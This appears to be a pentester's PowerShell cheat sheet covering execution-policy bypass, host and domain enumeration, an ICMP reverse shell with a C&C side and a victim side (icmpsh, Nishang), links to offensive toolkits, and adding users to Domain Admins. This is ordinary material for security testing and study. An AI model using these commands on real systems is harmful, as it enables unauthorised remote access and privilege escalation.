Set-ExecutionPolicy -scope MachinePolicy Unrestricted -force
Set-ExecutionPolicy -scope UserPolicy Unrestricted -force
Set-ExecutionPolicy -scope Process Unrestricted -force
Set-ExecutionPolicy -scope CurrentUser Unrestricted -force
Set-ExecutionPolicy -scope LocalMachine Unrestricted -force
Get-ExecutionPolicy -list
ft=Format-Tablefl=Format-List
get-childitem env:
or access one of them:
echo $env:userdnsdomain
Via environment variable:
$ENV:PROCESSOR_ARCHITECTURE
4 for 32 bits and 8 for 64 bits:
[IntPtr]::Size
Via env variable:
[environment]::OSVersion.Version
Via a WMI call:
Get-WmiObject win32_operatingsystem
wmic os get 'csname,version,muilanguages'
Invoke-RestMethod http://ipinfo.io/json | Select -exp ip
Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount='True'"
Get-Acl "C:\Windows\System32\cmd.exe" | Format-List
Get-Acl "C:\Windows\system32\cmd.exe" | Format-Table
(get-acl C:\Windows\system32\cmd.exe).access | fl
(get-acl C:\Windows\system32\cmd.exe).access | ft
Get-Acl HKLM:\Software\Microsoft | Format-List
$(get-AuthenticodeSignature myfile.exe).SignerCertificate.Subject
TODO : correct this shit!
Get-ExecutableType myfile.exe
Sur le C&C linux : https://github.com/inquisb/icmpsh
./icmpsh_m.py 8.8.8.8 192.168.0.10
Sur la victime Windows : https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellIcmp.ps1
Invoke-PowerShellIcmp -IPAddress 8.8.8.8
- https://github.com/besimorhino/powercat
- https://github.com/PowerShellMafia/PowerSploit/
- https://github.com/samratashok/nishang
- https://github.com/Kevin-Robertson/Inveigh
https://docs.microsoft.com/en-us/powershell/module/addsadministration/new-adgroup?view=win10-ps
New-ADGroup -Name "RODC Admins" -SamAccountName RODCAdmins -GroupScope Global -DisplayName "RODC Administrators" -Description "Members of this group are RODC Administrators"
Add an account (user, computer, group, etc) to a group:
Add-ADGroupMember -Identity "Domain Admins" -Member jDupond
List members of a group:
Get-ADGroupMember -Identity "Domain Admins"
https://docs.microsoft.com/en-us/powershell/module/addsadministration/new-aduser?view=win10-ps
New-ADUser -Name jDupond -Enable 1 -AccountPassword (ConvertTo-SecureString -AsPlainText 'P@ssw0rd' -Force)
Enable a user account:
Set-ADUser -Identity jDupond -Enable 1
Reset password of a user account:
Set-ADAccountPassword –Identity JohnThomas –Reset –NewPassword (ConvertTo-SecureString -AsPlainText "ThisPassword001" -Force)
Shutdown the local computer (or a remote computer with a specific argument)